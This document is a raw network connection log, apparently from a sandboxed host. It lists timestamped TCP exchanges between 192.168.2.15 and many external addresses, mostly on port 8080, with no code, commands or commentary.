Feb 19, 2025 19:48:55.000379086 CET	7173	8080	192.168.2.15	31.252.19.8
Feb 19, 2025 19:48:55.000381947 CET	7173	8080	192.168.2.15	85.14.192.125
Feb 19, 2025 19:48:55.000389099 CET	8080	7173	95.1.45.234	192.168.2.15
Feb 19, 2025 19:48:55.000396967 CET	7173	8080	192.168.2.15	31.31.234.216
Feb 19, 2025 19:48:55.000397921 CET	8080	7173	85.169.124.222	192.168.2.15
Feb 19, 2025 19:48:55.000406027 CET	7173	8080	192.168.2.15	85.32.142.65
Feb 19, 2025 19:48:55.000407934 CET	8080	7173	31.99.52.142	192.168.2.15
Feb 19, 2025 19:48:55.000425100 CET	8080	7173	95.32.144.69	192.168.2.15
Feb 19, 2025 19:48:55.000427008 CET	7173	8080	192.168.2.15	95.1.45.234
Feb 19, 2025 19:48:55.000427961 CET	7173	8080	192.168.2.15	85.169.124.222
Feb 19, 2025 19:48:55.000435114 CET	8080	7173	95.37.96.223	192.168.2.15
Feb 19, 2025 19:48:55.000446081 CET	8080	7173	94.249.187.138	192.168.2.15
Feb 19, 2025 19:48:55.000452042 CET	7173	8080	192.168.2.15	31.99.52.142
Feb 19, 2025 19:48:55.000456095 CET	7173	8080	192.168.2.15	95.37.96.223
Feb 19, 2025 19:48:55.000456095 CET	7173	8080	192.168.2.15	95.32.144.69
Feb 19, 2025 19:48:55.000457048 CET	8080	7173	62.110.148.132	192.168.2.15
Feb 19, 2025 19:48:55.000468016 CET	8080	7173	31.128.110.199	192.168.2.15
Feb 19, 2025 19:48:55.000472069 CET	7173	8080	192.168.2.15	94.249.187.138
Feb 19, 2025 19:48:55.000478029 CET	8080	7173	95.106.102.162	192.168.2.15
Feb 19, 2025 19:48:55.000489950 CET	7173	8080	192.168.2.15	62.110.148.132
Feb 19, 2025 19:48:55.000490904 CET	8080	7173	85.131.228.203	192.168.2.15
Feb 19, 2025 19:48:55.000494003 CET	7173	8080	192.168.2.15	31.128.110.199
Feb 19, 2025 19:48:55.000500917 CET	8080	7173	94.249.135.130	192.168.2.15
Feb 19, 2025 19:48:55.000507116 CET	7173	8080	192.168.2.15	95.106.102.162
Feb 19, 2025 19:48:55.000511885 CET	8080	7173	85.202.135.208	192.168.2.15
Feb 19, 2025 19:48:55.000520945 CET	7173	8080	192.168.2.15	85.131.228.203
Feb 19, 2025 19:48:55.000524044 CET	7173	8080	192.168.2.15	94.249.135.130
Feb 19, 2025 19:48:55.000540018 CET	7173	8080	192.168.2.15	85.202.135.208
Feb 19, 2025 19:48:55.000562906 CET	53492	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.001025915 CET	8080	7173	62.193.74.248	192.168.2.15
Feb 19, 2025 19:48:55.001036882 CET	8080	7173	85.162.33.175	192.168.2.15
Feb 19, 2025 19:48:55.001058102 CET	7173	8080	192.168.2.15	62.193.74.248
Feb 19, 2025 19:48:55.001070023 CET	7173	8080	192.168.2.15	85.162.33.175
Feb 19, 2025 19:48:55.001173973 CET	8080	7173	31.249.183.101	192.168.2.15
Feb 19, 2025 19:48:55.001184940 CET	8080	7173	94.176.230.17	192.168.2.15
Feb 19, 2025 19:48:55.001194000 CET	8080	7173	31.48.220.32	192.168.2.15
Feb 19, 2025 19:48:55.001204014 CET	8080	7173	85.242.95.27	192.168.2.15
Feb 19, 2025 19:48:55.001208067 CET	7173	8080	192.168.2.15	31.249.183.101
Feb 19, 2025 19:48:55.001211882 CET	7173	8080	192.168.2.15	94.176.230.17
Feb 19, 2025 19:48:55.001214027 CET	8080	7173	85.163.141.8	192.168.2.15
Feb 19, 2025 19:48:55.001215935 CET	7173	8080	192.168.2.15	31.48.220.32
Feb 19, 2025 19:48:55.001224041 CET	8080	7173	85.87.17.248	192.168.2.15
Feb 19, 2025 19:48:55.001233101 CET	8080	7173	85.236.50.179	192.168.2.15
Feb 19, 2025 19:48:55.001243114 CET	8080	7173	94.76.72.84	192.168.2.15
Feb 19, 2025 19:48:55.001251936 CET	8080	7173	85.255.126.233	192.168.2.15
Feb 19, 2025 19:48:55.001257896 CET	7173	8080	192.168.2.15	85.87.17.248
Feb 19, 2025 19:48:55.001260996 CET	8080	7173	95.23.92.102	192.168.2.15
Feb 19, 2025 19:48:55.001271963 CET	8080	7173	94.180.129.198	192.168.2.15
Feb 19, 2025 19:48:55.001286030 CET	7173	8080	192.168.2.15	85.255.126.233
Feb 19, 2025 19:48:55.001290083 CET	8080	7173	31.181.200.40	192.168.2.15
Feb 19, 2025 19:48:55.001302004 CET	8080	7173	94.187.154.244	192.168.2.15
Feb 19, 2025 19:48:55.001311064 CET	8080	7173	95.13.223.110	192.168.2.15
Feb 19, 2025 19:48:55.001321077 CET	8080	7173	62.1.184.208	192.168.2.15
Feb 19, 2025 19:48:55.001324892 CET	7173	8080	192.168.2.15	31.181.200.40
Feb 19, 2025 19:48:55.001331091 CET	8080	7173	85.18.216.220	192.168.2.15
Feb 19, 2025 19:48:55.001339912 CET	7173	8080	192.168.2.15	95.13.223.110
Feb 19, 2025 19:48:55.001341105 CET	8080	7173	85.139.57.198	192.168.2.15
Feb 19, 2025 19:48:55.001343966 CET	7173	8080	192.168.2.15	62.1.184.208
Feb 19, 2025 19:48:55.001349926 CET	8080	7173	31.39.25.121	192.168.2.15
Feb 19, 2025 19:48:55.001360893 CET	8080	7173	95.41.58.105	192.168.2.15
Feb 19, 2025 19:48:55.001369953 CET	8080	7173	31.208.80.86	192.168.2.15
Feb 19, 2025 19:48:55.001370907 CET	7173	8080	192.168.2.15	85.139.57.198
Feb 19, 2025 19:48:55.001379013 CET	8080	7173	94.192.190.3	192.168.2.15
Feb 19, 2025 19:48:55.001389027 CET	8080	7173	95.247.140.103	192.168.2.15
Feb 19, 2025 19:48:55.001394987 CET	7173	8080	192.168.2.15	95.41.58.105
Feb 19, 2025 19:48:55.001398087 CET	7173	8080	192.168.2.15	31.208.80.86
Feb 19, 2025 19:48:55.001399040 CET	8080	7173	85.1.21.243	192.168.2.15
Feb 19, 2025 19:48:55.001408100 CET	8080	7173	85.23.33.109	192.168.2.15
Feb 19, 2025 19:48:55.001416922 CET	8080	7173	94.196.61.36	192.168.2.15
Feb 19, 2025 19:48:55.001419067 CET	7173	8080	192.168.2.15	85.242.95.27
Feb 19, 2025 19:48:55.001426935 CET	8080	7173	31.17.207.3	192.168.2.15
Feb 19, 2025 19:48:55.001432896 CET	7173	8080	192.168.2.15	85.163.141.8
Feb 19, 2025 19:48:55.001435995 CET	7173	8080	192.168.2.15	85.236.50.179
Feb 19, 2025 19:48:55.001437902 CET	7173	8080	192.168.2.15	94.76.72.84
Feb 19, 2025 19:48:55.001441956 CET	7173	8080	192.168.2.15	85.23.33.109
Feb 19, 2025 19:48:55.001446009 CET	7173	8080	192.168.2.15	95.23.92.102
Feb 19, 2025 19:48:55.001446009 CET	7173	8080	192.168.2.15	94.180.129.198
Feb 19, 2025 19:48:55.001451969 CET	7173	8080	192.168.2.15	94.187.154.244
Feb 19, 2025 19:48:55.001461029 CET	7173	8080	192.168.2.15	85.18.216.220
Feb 19, 2025 19:48:55.001467943 CET	7173	8080	192.168.2.15	95.247.140.103
Feb 19, 2025 19:48:55.001470089 CET	7173	8080	192.168.2.15	31.39.25.121
Feb 19, 2025 19:48:55.001470089 CET	7173	8080	192.168.2.15	94.192.190.3
Feb 19, 2025 19:48:55.001470089 CET	7173	8080	192.168.2.15	85.1.21.243
Feb 19, 2025 19:48:55.001473904 CET	7173	8080	192.168.2.15	94.196.61.36
Feb 19, 2025 19:48:55.001482964 CET	7173	8080	192.168.2.15	31.17.207.3
Feb 19, 2025 19:48:55.001657009 CET	8080	7173	94.252.115.55	192.168.2.15
Feb 19, 2025 19:48:55.001671076 CET	8080	7173	62.0.183.254	192.168.2.15
Feb 19, 2025 19:48:55.001679897 CET	8080	7173	85.35.133.99	192.168.2.15
Feb 19, 2025 19:48:55.001688957 CET	8080	7173	62.165.178.222	192.168.2.15
Feb 19, 2025 19:48:55.001694918 CET	7173	8080	192.168.2.15	94.252.115.55
Feb 19, 2025 19:48:55.001694918 CET	7173	8080	192.168.2.15	62.0.183.254
Feb 19, 2025 19:48:55.001698971 CET	8080	7173	31.28.32.50	192.168.2.15
Feb 19, 2025 19:48:55.001703024 CET	7173	8080	192.168.2.15	85.35.133.99
Feb 19, 2025 19:48:55.001712084 CET	7173	8080	192.168.2.15	62.165.178.222
Feb 19, 2025 19:48:55.001718998 CET	8080	7173	62.68.197.226	192.168.2.15
Feb 19, 2025 19:48:55.001729012 CET	8080	7173	31.122.108.52	192.168.2.15
Feb 19, 2025 19:48:55.001734972 CET	7173	8080	192.168.2.15	31.28.32.50
Feb 19, 2025 19:48:55.001749039 CET	7173	8080	192.168.2.15	62.68.197.226
Feb 19, 2025 19:48:55.001750946 CET	7173	8080	192.168.2.15	31.122.108.52
Feb 19, 2025 19:48:55.001825094 CET	8080	7173	94.219.43.193	192.168.2.15
Feb 19, 2025 19:48:55.001836061 CET	8080	7173	31.102.155.118	192.168.2.15
Feb 19, 2025 19:48:55.001846075 CET	8080	7173	95.218.16.198	192.168.2.15
Feb 19, 2025 19:48:55.001852989 CET	35606	80	192.168.2.15	88.95.211.113
Feb 19, 2025 19:48:55.001856089 CET	7173	8080	192.168.2.15	94.219.43.193
Feb 19, 2025 19:48:55.001866102 CET	7173	8080	192.168.2.15	31.102.155.118
Feb 19, 2025 19:48:55.001872063 CET	7173	8080	192.168.2.15	95.218.16.198
Feb 19, 2025 19:48:55.001889944 CET	8080	7173	62.83.32.201	192.168.2.15
Feb 19, 2025 19:48:55.001899958 CET	8080	7173	62.178.237.49	192.168.2.15
Feb 19, 2025 19:48:55.001909018 CET	8080	7173	85.117.191.191	192.168.2.15
Feb 19, 2025 19:48:55.001919985 CET	8080	7173	94.211.152.209	192.168.2.15
Feb 19, 2025 19:48:55.001928091 CET	7173	8080	192.168.2.15	62.178.237.49
Feb 19, 2025 19:48:55.001929998 CET	8080	7173	94.11.17.183	192.168.2.15
Feb 19, 2025 19:48:55.001933098 CET	7173	8080	192.168.2.15	62.83.32.201
Feb 19, 2025 19:48:55.001935005 CET	7173	8080	192.168.2.15	85.117.191.191
Feb 19, 2025 19:48:55.001940966 CET	8080	7173	62.45.210.236	192.168.2.15
Feb 19, 2025 19:48:55.001952887 CET	7173	8080	192.168.2.15	94.211.152.209
Feb 19, 2025 19:48:55.001960993 CET	7173	8080	192.168.2.15	94.11.17.183
Feb 19, 2025 19:48:55.001975060 CET	7173	8080	192.168.2.15	62.45.210.236
Feb 19, 2025 19:48:55.002528906 CET	8080	7173	31.49.126.20	192.168.2.15
Feb 19, 2025 19:48:55.002563953 CET	7173	8080	192.168.2.15	31.49.126.20
Feb 19, 2025 19:48:55.002579927 CET	8080	7173	31.225.165.145	192.168.2.15
Feb 19, 2025 19:48:55.002592087 CET	8080	7173	85.148.101.62	192.168.2.15
Feb 19, 2025 19:48:55.002616882 CET	7173	8080	192.168.2.15	31.225.165.145
Feb 19, 2025 19:48:55.002616882 CET	7173	8080	192.168.2.15	85.148.101.62
Feb 19, 2025 19:48:55.002700090 CET	8080	7173	94.176.246.84	192.168.2.15
Feb 19, 2025 19:48:55.002712011 CET	8080	7173	62.119.124.48	192.168.2.15
Feb 19, 2025 19:48:55.002721071 CET	8080	7173	85.244.196.85	192.168.2.15
Feb 19, 2025 19:48:55.002727985 CET	7173	8080	192.168.2.15	94.176.246.84
Feb 19, 2025 19:48:55.002731085 CET	8080	7173	31.181.151.201	192.168.2.15
Feb 19, 2025 19:48:55.002742052 CET	8080	7173	85.68.145.128	192.168.2.15
Feb 19, 2025 19:48:55.002747059 CET	7173	8080	192.168.2.15	85.244.196.85
Feb 19, 2025 19:48:55.002747059 CET	7173	8080	192.168.2.15	62.119.124.48
Feb 19, 2025 19:48:55.002752066 CET	8080	7173	95.213.251.200	192.168.2.15
Feb 19, 2025 19:48:55.002762079 CET	8080	7173	94.44.222.35	192.168.2.15
Feb 19, 2025 19:48:55.002772093 CET	8080	7173	95.36.84.35	192.168.2.15
Feb 19, 2025 19:48:55.002774000 CET	7173	8080	192.168.2.15	31.181.151.201
Feb 19, 2025 19:48:55.002774000 CET	7173	8080	192.168.2.15	85.68.145.128
Feb 19, 2025 19:48:55.002782106 CET	8080	7173	31.154.185.192	192.168.2.15
Feb 19, 2025 19:48:55.002783060 CET	7173	8080	192.168.2.15	95.213.251.200
Feb 19, 2025 19:48:55.002784967 CET	7173	8080	192.168.2.15	94.44.222.35
Feb 19, 2025 19:48:55.002799034 CET	7173	8080	192.168.2.15	95.36.84.35
Feb 19, 2025 19:48:55.002815962 CET	7173	8080	192.168.2.15	31.154.185.192
Feb 19, 2025 19:48:55.003698111 CET	8080	7173	62.219.5.210	192.168.2.15
Feb 19, 2025 19:48:55.003710032 CET	8080	7173	94.5.28.98	192.168.2.15
Feb 19, 2025 19:48:55.003720045 CET	8080	7173	62.129.203.98	192.168.2.15
Feb 19, 2025 19:48:55.003734112 CET	7173	8080	192.168.2.15	62.219.5.210
Feb 19, 2025 19:48:55.003735065 CET	7173	8080	192.168.2.15	94.5.28.98
Feb 19, 2025 19:48:55.003760099 CET	7173	8080	192.168.2.15	62.129.203.98
Feb 19, 2025 19:48:55.003767014 CET	8080	7173	62.239.2.187	192.168.2.15
Feb 19, 2025 19:48:55.003798008 CET	7173	8080	192.168.2.15	62.239.2.187
Feb 19, 2025 19:48:55.003813028 CET	8080	7173	85.74.185.80	192.168.2.15
Feb 19, 2025 19:48:55.003838062 CET	8080	7173	62.248.94.227	192.168.2.15
Feb 19, 2025 19:48:55.003850937 CET	7173	8080	192.168.2.15	85.74.185.80
Feb 19, 2025 19:48:55.003873110 CET	7173	8080	192.168.2.15	62.248.94.227
Feb 19, 2025 19:48:55.003885031 CET	8080	7173	31.240.3.252	192.168.2.15
Feb 19, 2025 19:48:55.003925085 CET	7173	8080	192.168.2.15	31.240.3.252
Feb 19, 2025 19:48:55.004033089 CET	8080	7173	95.214.93.113	192.168.2.15
Feb 19, 2025 19:48:55.004043102 CET	8080	7173	85.110.85.82	192.168.2.15
Feb 19, 2025 19:48:55.004051924 CET	8080	7173	94.81.228.235	192.168.2.15
Feb 19, 2025 19:48:55.004060984 CET	8080	7173	62.219.74.25	192.168.2.15
Feb 19, 2025 19:48:55.004070044 CET	7173	8080	192.168.2.15	85.110.85.82
Feb 19, 2025 19:48:55.004070044 CET	7173	8080	192.168.2.15	95.214.93.113
Feb 19, 2025 19:48:55.004080057 CET	8080	7173	31.242.128.199	192.168.2.15
Feb 19, 2025 19:48:55.004085064 CET	7173	8080	192.168.2.15	94.81.228.235
Feb 19, 2025 19:48:55.004090071 CET	8080	7173	94.90.206.250	192.168.2.15
Feb 19, 2025 19:48:55.004091024 CET	7173	8080	192.168.2.15	62.219.74.25
Feb 19, 2025 19:48:55.004101992 CET	8080	7173	62.167.186.46	192.168.2.15
Feb 19, 2025 19:48:55.004105091 CET	7173	8080	192.168.2.15	31.242.128.199
Feb 19, 2025 19:48:55.004112959 CET	8080	7173	94.114.239.51	192.168.2.15
Feb 19, 2025 19:48:55.004113913 CET	7173	8080	192.168.2.15	94.90.206.250
Feb 19, 2025 19:48:55.004123926 CET	8080	7173	62.136.204.16	192.168.2.15
Feb 19, 2025 19:48:55.004133940 CET	8080	7173	95.30.33.159	192.168.2.15
Feb 19, 2025 19:48:55.004141092 CET	7173	8080	192.168.2.15	62.167.186.46
Feb 19, 2025 19:48:55.004142046 CET	7173	8080	192.168.2.15	94.114.239.51
Feb 19, 2025 19:48:55.004143000 CET	8080	7173	31.51.44.135	192.168.2.15
Feb 19, 2025 19:48:55.004153967 CET	8080	7173	31.224.152.9	192.168.2.15
Feb 19, 2025 19:48:55.004159927 CET	7173	8080	192.168.2.15	62.136.204.16
Feb 19, 2025 19:48:55.004162073 CET	7173	8080	192.168.2.15	95.30.33.159
Feb 19, 2025 19:48:55.004163980 CET	8080	7173	31.100.129.88	192.168.2.15
Feb 19, 2025 19:48:55.004174948 CET	8080	7173	62.169.145.28	192.168.2.15
Feb 19, 2025 19:48:55.004180908 CET	7173	8080	192.168.2.15	31.51.44.135
Feb 19, 2025 19:48:55.004180908 CET	7173	8080	192.168.2.15	31.224.152.9
Feb 19, 2025 19:48:55.004184008 CET	8080	7173	85.134.13.202	192.168.2.15
Feb 19, 2025 19:48:55.004194975 CET	8080	7173	94.179.1.88	192.168.2.15
Feb 19, 2025 19:48:55.004193068 CET	7173	8080	192.168.2.15	31.100.129.88
Feb 19, 2025 19:48:55.004196882 CET	7173	8080	192.168.2.15	62.169.145.28
Feb 19, 2025 19:48:55.004206896 CET	8080	7173	31.245.4.153	192.168.2.15
Feb 19, 2025 19:48:55.004216909 CET	8080	7173	94.238.6.128	192.168.2.15
Feb 19, 2025 19:48:55.004218102 CET	7173	8080	192.168.2.15	85.134.13.202
Feb 19, 2025 19:48:55.004235983 CET	7173	8080	192.168.2.15	94.179.1.88
Feb 19, 2025 19:48:55.004236937 CET	7173	8080	192.168.2.15	31.245.4.153
Feb 19, 2025 19:48:55.004251003 CET	7173	8080	192.168.2.15	94.238.6.128
Feb 19, 2025 19:48:55.004537106 CET	8080	7173	31.87.232.198	192.168.2.15
Feb 19, 2025 19:48:55.004558086 CET	8080	7173	85.255.247.190	192.168.2.15
Feb 19, 2025 19:48:55.004566908 CET	8080	7173	94.241.23.139	192.168.2.15
Feb 19, 2025 19:48:55.004582882 CET	8080	7173	85.186.76.0	192.168.2.15
Feb 19, 2025 19:48:55.004592896 CET	8080	7173	85.64.200.92	192.168.2.15
Feb 19, 2025 19:48:55.004600048 CET	7173	8080	192.168.2.15	31.87.232.198
Feb 19, 2025 19:48:55.004601955 CET	8080	7173	85.227.181.52	192.168.2.15
Feb 19, 2025 19:48:55.004606962 CET	7173	8080	192.168.2.15	94.241.23.139
Feb 19, 2025 19:48:55.004611015 CET	7173	8080	192.168.2.15	85.255.247.190
Feb 19, 2025 19:48:55.004612923 CET	8080	7173	94.225.236.42	192.168.2.15
Feb 19, 2025 19:48:55.004617929 CET	7173	8080	192.168.2.15	85.186.76.0
Feb 19, 2025 19:48:55.004617929 CET	7173	8080	192.168.2.15	85.64.200.92
Feb 19, 2025 19:48:55.004627943 CET	7173	8080	192.168.2.15	85.227.181.52
Feb 19, 2025 19:48:55.004650116 CET	7173	8080	192.168.2.15	94.225.236.42
Feb 19, 2025 19:48:55.005029917 CET	8080	7173	62.193.221.137	192.168.2.15
Feb 19, 2025 19:48:55.005040884 CET	8080	7173	95.60.173.27	192.168.2.15
Feb 19, 2025 19:48:55.005050898 CET	8080	7173	94.234.87.2	192.168.2.15
Feb 19, 2025 19:48:55.005060911 CET	8080	7173	31.55.161.55	192.168.2.15
Feb 19, 2025 19:48:55.005069971 CET	8080	7173	95.83.126.215	192.168.2.15
Feb 19, 2025 19:48:55.005073071 CET	7173	8080	192.168.2.15	62.193.221.137
Feb 19, 2025 19:48:55.005073071 CET	7173	8080	192.168.2.15	95.60.173.27
Feb 19, 2025 19:48:55.005079985 CET	8080	7173	95.172.211.54	192.168.2.15
Feb 19, 2025 19:48:55.005085945 CET	7173	8080	192.168.2.15	94.234.87.2
Feb 19, 2025 19:48:55.005091906 CET	8080	7173	62.211.14.241	192.168.2.15
Feb 19, 2025 19:48:55.005094051 CET	7173	8080	192.168.2.15	31.55.161.55
Feb 19, 2025 19:48:55.005096912 CET	7173	8080	192.168.2.15	95.83.126.215
Feb 19, 2025 19:48:55.005104065 CET	8080	7173	94.16.43.141	192.168.2.15
Feb 19, 2025 19:48:55.005115032 CET	8080	7173	85.238.5.147	192.168.2.15
Feb 19, 2025 19:48:55.005114079 CET	7173	8080	192.168.2.15	95.172.211.54
Feb 19, 2025 19:48:55.005126953 CET	7173	8080	192.168.2.15	62.211.14.241
Feb 19, 2025 19:48:55.005134106 CET	8080	7173	62.70.109.207	192.168.2.15
Feb 19, 2025 19:48:55.005135059 CET	7173	8080	192.168.2.15	94.16.43.141
Feb 19, 2025 19:48:55.005145073 CET	8080	7173	31.131.75.245	192.168.2.15
Feb 19, 2025 19:48:55.005155087 CET	8080	7173	62.36.87.246	192.168.2.15
Feb 19, 2025 19:48:55.005153894 CET	7173	8080	192.168.2.15	85.238.5.147
Feb 19, 2025 19:48:55.005160093 CET	7173	8080	192.168.2.15	62.70.109.207
Feb 19, 2025 19:48:55.005165100 CET	8080	7173	94.64.82.20	192.168.2.15
Feb 19, 2025 19:48:55.005175114 CET	8080	7173	85.63.149.197	192.168.2.15
Feb 19, 2025 19:48:55.005178928 CET	7173	8080	192.168.2.15	31.131.75.245
Feb 19, 2025 19:48:55.005184889 CET	8080	7173	31.47.50.163	192.168.2.15
Feb 19, 2025 19:48:55.005192995 CET	7173	8080	192.168.2.15	62.36.87.246
Feb 19, 2025 19:48:55.005192995 CET	7173	8080	192.168.2.15	85.63.149.197
Feb 19, 2025 19:48:55.005194902 CET	7173	8080	192.168.2.15	94.64.82.20
Feb 19, 2025 19:48:55.005197048 CET	8080	7173	94.99.216.242	192.168.2.15
Feb 19, 2025 19:48:55.005206108 CET	8080	7173	85.236.29.204	192.168.2.15
Feb 19, 2025 19:48:55.005213976 CET	7173	8080	192.168.2.15	31.47.50.163
Feb 19, 2025 19:48:55.005217075 CET	8080	7173	31.172.181.143	192.168.2.15
Feb 19, 2025 19:48:55.005227089 CET	7173	8080	192.168.2.15	94.99.216.242
Feb 19, 2025 19:48:55.005229950 CET	8080	7173	95.115.43.118	192.168.2.15
Feb 19, 2025 19:48:55.005230904 CET	7173	8080	192.168.2.15	85.236.29.204
Feb 19, 2025 19:48:55.005245924 CET	7173	8080	192.168.2.15	31.172.181.143
Feb 19, 2025 19:48:55.005249977 CET	8080	7173	94.211.131.193	192.168.2.15
Feb 19, 2025 19:48:55.005261898 CET	8080	7173	95.211.144.6	192.168.2.15
Feb 19, 2025 19:48:55.005266905 CET	7173	8080	192.168.2.15	95.115.43.118
Feb 19, 2025 19:48:55.005271912 CET	8080	7173	95.110.208.134	192.168.2.15
Feb 19, 2025 19:48:55.005284071 CET	8080	7173	95.151.125.76	192.168.2.15
Feb 19, 2025 19:48:55.005291939 CET	7173	8080	192.168.2.15	95.211.144.6
Feb 19, 2025 19:48:55.005294085 CET	8080	7173	95.51.159.158	192.168.2.15
Feb 19, 2025 19:48:55.005294085 CET	7173	8080	192.168.2.15	94.211.131.193
Feb 19, 2025 19:48:55.005300999 CET	7173	8080	192.168.2.15	95.110.208.134
Feb 19, 2025 19:48:55.005321980 CET	7173	8080	192.168.2.15	95.151.125.76
Feb 19, 2025 19:48:55.005321980 CET	7173	8080	192.168.2.15	95.51.159.158
Feb 19, 2025 19:48:55.005913019 CET	8080	7173	31.0.195.87	192.168.2.15
Feb 19, 2025 19:48:55.005925894 CET	8080	7173	85.155.35.150	192.168.2.15
Feb 19, 2025 19:48:55.005935907 CET	8080	7173	95.94.149.210	192.168.2.15
Feb 19, 2025 19:48:55.005947113 CET	8080	7173	31.26.108.233	192.168.2.15
Feb 19, 2025 19:48:55.005954027 CET	7173	8080	192.168.2.15	31.0.195.87
Feb 19, 2025 19:48:55.005958080 CET	7173	8080	192.168.2.15	85.155.35.150
Feb 19, 2025 19:48:55.005959034 CET	8080	7173	95.253.151.203	192.168.2.15
Feb 19, 2025 19:48:55.005970001 CET	8080	7173	31.7.144.92	192.168.2.15
Feb 19, 2025 19:48:55.005973101 CET	7173	8080	192.168.2.15	95.94.149.210
Feb 19, 2025 19:48:55.005978107 CET	7173	8080	192.168.2.15	31.26.108.233
Feb 19, 2025 19:48:55.005990028 CET	8080	7173	85.187.108.250	192.168.2.15
Feb 19, 2025 19:48:55.005994081 CET	7173	8080	192.168.2.15	95.253.151.203
Feb 19, 2025 19:48:55.005996943 CET	7173	8080	192.168.2.15	31.7.144.92
Feb 19, 2025 19:48:55.006002903 CET	8080	7173	62.148.152.242	192.168.2.15
Feb 19, 2025 19:48:55.006012917 CET	8080	7173	85.59.98.234	192.168.2.15
Feb 19, 2025 19:48:55.006022930 CET	8080	7173	94.250.29.113	192.168.2.15
Feb 19, 2025 19:48:55.006030083 CET	7173	8080	192.168.2.15	62.148.152.242
Feb 19, 2025 19:48:55.006030083 CET	7173	8080	192.168.2.15	85.187.108.250
Feb 19, 2025 19:48:55.006032944 CET	8080	7173	85.74.230.17	192.168.2.15
Feb 19, 2025 19:48:55.006042957 CET	8080	7173	95.161.83.210	192.168.2.15
Feb 19, 2025 19:48:55.006046057 CET	7173	8080	192.168.2.15	85.59.98.234
Feb 19, 2025 19:48:55.006048918 CET	7173	8080	192.168.2.15	94.250.29.113
Feb 19, 2025 19:48:55.006053925 CET	7173	8080	192.168.2.15	85.74.230.17
Feb 19, 2025 19:48:55.006056070 CET	8080	7173	95.102.225.66	192.168.2.15
Feb 19, 2025 19:48:55.006074905 CET	7173	8080	192.168.2.15	95.161.83.210
Feb 19, 2025 19:48:55.006083012 CET	7173	8080	192.168.2.15	95.102.225.66
Feb 19, 2025 19:48:55.006628990 CET	48408	8080	192.168.2.15	62.0.241.194
Feb 19, 2025 19:48:55.006835938 CET	8080	7173	94.22.70.114	192.168.2.15
Feb 19, 2025 19:48:55.006849051 CET	8080	7173	95.202.156.252	192.168.2.15
Feb 19, 2025 19:48:55.006860971 CET	8080	7173	95.98.89.59	192.168.2.15
Feb 19, 2025 19:48:55.006870985 CET	8080	7173	85.130.200.16	192.168.2.15
Feb 19, 2025 19:48:55.006874084 CET	7173	8080	192.168.2.15	94.22.70.114
Feb 19, 2025 19:48:55.006875992 CET	7173	8080	192.168.2.15	95.202.156.252
Feb 19, 2025 19:48:55.006882906 CET	8080	7173	31.197.120.204	192.168.2.15
Feb 19, 2025 19:48:55.006889105 CET	7173	8080	192.168.2.15	95.98.89.59
Feb 19, 2025 19:48:55.006895065 CET	8080	7173	62.108.44.60	192.168.2.15
Feb 19, 2025 19:48:55.006902933 CET	8080	7173	95.139.222.211	192.168.2.15
Feb 19, 2025 19:48:55.006908894 CET	7173	8080	192.168.2.15	85.130.200.16
Feb 19, 2025 19:48:55.006913900 CET	8080	7173	95.47.186.20	192.168.2.15
Feb 19, 2025 19:48:55.006913900 CET	7173	8080	192.168.2.15	31.197.120.204
Feb 19, 2025 19:48:55.006921053 CET	7173	8080	192.168.2.15	62.108.44.60
Feb 19, 2025 19:48:55.006926060 CET	8080	7173	94.211.30.206	192.168.2.15
Feb 19, 2025 19:48:55.006928921 CET	7173	8080	192.168.2.15	95.139.222.211
Feb 19, 2025 19:48:55.006953001 CET	7173	8080	192.168.2.15	95.47.186.20
Feb 19, 2025 19:48:55.006956100 CET	1024	52612	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.006966114 CET	51706	80	192.168.2.15	88.6.209.151
Feb 19, 2025 19:48:55.006966114 CET	7173	8080	192.168.2.15	94.211.30.206
Feb 19, 2025 19:48:55.006975889 CET	8080	7173	85.80.79.202	192.168.2.15
Feb 19, 2025 19:48:55.007004976 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.007018089 CET	7173	8080	192.168.2.15	85.80.79.202
Feb 19, 2025 19:48:55.007050991 CET	8080	7173	31.15.227.74	192.168.2.15
Feb 19, 2025 19:48:55.007061005 CET	8080	7173	85.64.203.8	192.168.2.15
Feb 19, 2025 19:48:55.007070065 CET	8080	7173	85.20.67.123	192.168.2.15
Feb 19, 2025 19:48:55.007091045 CET	7173	8080	192.168.2.15	31.15.227.74
Feb 19, 2025 19:48:55.007097006 CET	7173	8080	192.168.2.15	85.64.203.8
Feb 19, 2025 19:48:55.007100105 CET	7173	8080	192.168.2.15	85.20.67.123
Feb 19, 2025 19:48:55.007899046 CET	8080	7173	95.71.211.26	192.168.2.15
Feb 19, 2025 19:48:55.007934093 CET	7173	8080	192.168.2.15	95.71.211.26
Feb 19, 2025 19:48:55.007947922 CET	8080	7173	31.65.77.44	192.168.2.15
Feb 19, 2025 19:48:55.007958889 CET	8080	7173	85.49.88.128	192.168.2.15
Feb 19, 2025 19:48:55.007987022 CET	7173	8080	192.168.2.15	31.65.77.44
Feb 19, 2025 19:48:55.007987022 CET	7173	8080	192.168.2.15	85.49.88.128
Feb 19, 2025 19:48:55.008004904 CET	80	53518	88.249.193.225	192.168.2.15
Feb 19, 2025 19:48:55.008035898 CET	53518	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:55.008059025 CET	8080	7173	95.214.11.230	192.168.2.15
Feb 19, 2025 19:48:55.008093119 CET	7173	8080	192.168.2.15	95.214.11.230
Feb 19, 2025 19:48:55.008177042 CET	8080	7173	31.69.95.22	192.168.2.15
Feb 19, 2025 19:48:55.008188009 CET	8080	7173	62.197.128.69	192.168.2.15
Feb 19, 2025 19:48:55.008197069 CET	8080	7173	31.136.1.166	192.168.2.15
Feb 19, 2025 19:48:55.008205891 CET	8080	7173	31.119.178.52	192.168.2.15
Feb 19, 2025 19:48:55.008212090 CET	7173	8080	192.168.2.15	31.69.95.22
Feb 19, 2025 19:48:55.008215904 CET	8080	7173	94.138.196.39	192.168.2.15
Feb 19, 2025 19:48:55.008218050 CET	7173	8080	192.168.2.15	62.197.128.69
Feb 19, 2025 19:48:55.008227110 CET	8080	7173	31.117.174.54	192.168.2.15
Feb 19, 2025 19:48:55.008232117 CET	7173	8080	192.168.2.15	31.136.1.166
Feb 19, 2025 19:48:55.008236885 CET	7173	8080	192.168.2.15	31.119.178.52
Feb 19, 2025 19:48:55.008244991 CET	8080	7173	62.248.48.203	192.168.2.15
Feb 19, 2025 19:48:55.008256912 CET	8080	7173	31.255.171.17	192.168.2.15
Feb 19, 2025 19:48:55.008259058 CET	7173	8080	192.168.2.15	94.138.196.39
